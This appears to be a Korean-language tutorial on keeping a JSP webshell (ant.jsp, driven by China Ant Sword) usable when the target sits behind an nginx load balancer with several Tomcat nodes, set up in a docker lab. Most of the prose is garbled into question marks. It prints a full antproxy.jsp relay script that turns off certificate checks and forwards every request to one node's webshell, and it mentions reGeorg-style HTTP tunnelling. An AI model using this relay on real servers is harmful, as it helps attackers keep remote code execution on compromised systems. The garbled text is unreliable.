???? ??

?? ???? ??? WebShell? ?? ? ?? RCE ???? ??? ??

?? ??

?? GetHub?? ??? ???? ???? ?? nginx ? tomcat? centos? ???? ???. nginx, tomcat ?? ?? ??? ?? ????, docker? ??? ???? ????? ???? ??? ???.

1. ?? docker ??? ?????

2. Tomcat? ?? ???? ??????

? ???? ? ? ??? ??? tomcat? ??? ???? ?????

3. docker? nginx ?? ????? ?? ?? ??

4. docker

? lbsnode1? ?? ant.jsp ??? ?????. ? ??? ? ??? Trojan?? ??? ? ???, lbsnode2?? ??? ??? ?????

lbsnode1:

lbsnode2:

5. China Ant Sword

? ?? ant.jsp ??? ?????. ? ?? ?? ??? ??? ant.jsp? ???? ?? ? ??? ????

??? ??? ??

?? 1: nginx?? ???? ??? ???? ?? ????? ???? ??? ? ??? ??? ??? ??? ?????? ???

??? ??? ??? ???? ??? ?? ???? ?? ???? ?????. ? ??? ???? ??? ???? ??? ??? ?? ???? ??? ???? ??? ????. ????? ? ??? ??? ??? ?? ??? ???. , 404 ??? ???? ?? ??? ??? ????. ??? ?? ?? ???? ???? ?? ?? ??? ???? ?????.

???:

?? ??? ???? ??? ??? ???? ? ??? ? ??? ??? ??? ??? ???? ??? WebShell? ????? ???. ?? ??? ??? ??? ?????? ???? ????? ???.

?? 2: ??? ??? ? ?? ??? ?? ????? ???? ???? ? ? ????.

?? ?? ???? IP? ?? ?? ??? ?? -i? ????

?? 3: ? ? ??? ????? ? ? ??? ??? ? ?? ???.

? ? ??? ????? AntSword? ??? ???? ? ??? ?????. ???? ??? ??? ??? ?? ?? HTTP ???? ??? ???? ????. ??? ??? ?? A? ?? ??? ?? ??? ?? B? ?? ??? ? ? ??? ??? ? ? ??? ??? ? ? ?? ???.

?? ?? 4: ?? ???? ?? ????? ???? ? ???? ? ????? reGeorg/HTTPAbs? ?? HTTP ??? ??? ? ????. ??? ? ??????? ??? ?? ????? ?? ?????.

Solution

?? 1: ??? ?? ? ?? ??

??? ?? ? ??? ???? ??? ?? ? ?? ??? ??? ? ??? ? ???? ??? "??? ?? ????." "?? ???", ??? ??? ??? ??? ??? ? ??? ???? ?? ?? ?????

?? ??: ?? ????? ???? ???! ! !

?? 2: ????? ???? ?? ????? ???? ?? ??

???? ?? ??? ????? ???? ???? ?? ?????? ?? ????? ???? ?? ?? ????? ???? ??? ??? ? ????. ??.

???? ??.sh ????? ?????. ? ????? ??? ?? ? ??? ??? ?? ?? ????. ????? ? ??? ??? ???? ???? ?????. ?? ????? ????? ???? ????.

Demo.sh ???? ??? China Ant Sword? ?? ? ?? ??? ??? ??????. ?? ????? ??? ?????? ???? ???? ???

?? ??? ??? ??? ??? ??? ??? ??? ??? ??? ? ????. ??? ?? ???? ??? ???? ??? ??? ????. HTTP ??? ???? ?????.

??? ??: ? ???? ?? ??? ? ??? ??? ??? ?? ????? ???? ????.

?? 3: ? ???? HTTP ??? ??(??)

?, AntSword? ???? LBSNode1 ???? IP(172.23.0.2)? ?? 8080? ?? ???? ? ??? ???? ???? ? ????. nginx? ???? ? ?? ? ??? LBSNode2 ???? Node1 ???? 8080 ???? ???? ? ????.

??? "PHP ?? ???? ??" ????? ??????? ? ????? ??? ? ???? http??? ??? ?? HTTP ?? ??? ?? ???? "antproxy.php"? ??????. ? ????? ?????:

? ??? ???? ???????. ??? ??? ??? ????. ?? ??? ??? "LBSNode 1" ???? ??? ? ????.

? ?? ??? 1?????. , /antproxy.jsp? ?????. ? ??? nginx? ?????

nginx? ??? ??? ?? ? ? ?? ??? ?????.

?? ??? ?? ???????. ? ?? ????? ??? ?? ????? ?????. Node1 ???? ?????. /antproxy.jsp, 3??, /antproxy.jsp? ??? ????? ????? ???? Node1 ???? /ant.jsp? ?????.

??? ?? ?? ?????. 2????? ??? Node2 ????? ?????. ?? ?? 3????? Node2 ???? /antproxy.jsp? ??? ????? Node1? /ant.jsp? ?????. ????? ???????.

1.antproxy.jsp ????? ?????

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.24.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

2. ?? ??? ???? ?? Node? ???? IP? ?? ???? ??? ??? ???????.

??: WebShell?? ??? reGeorg? ?? ????? ??? ??? ??? ? ????

??? LBSNode1

??:

a) Do ??? ??? ???? ??? ??? ??? ?? ?? ????? ?? ??? ???? ???.

b) ?? ??? antproxy.jsp? ?? ??? ??? ??? ?? ?? ?? ??? ????? ?????? ???? ?? ?? ? ??????

3. antproxy.jsp ??? URL ??? ???? ??? ??? ??? ???

4. ?? ??? ????? IP? ?????

IP? ???????. ?? ??? LBSNode1 ??? ?????? ?????. ?? ?? ?? ??? ? HTTP ???? ???? ?? ?? ??? ??? ??? ????.

1. ??? ??? ??? ?? ????. ?? ??? ?? ?? ????? ?? Plan A

2? ?? ???? ??? ????. ??? ????? WebShell ??? ???? ??? ??? ?? ???? ???? ???? ??? ??? ????.

3. ? ?? ??? ??

??:

? ???? "?? ??"? "?? ??" ?? ???? ?? ???? ?????.

? ??? nginx ?? ????? ?? ???? ???? ??? ?? ?????. ??? ??? PHP ??? ????? ?? ?? ??? ?????!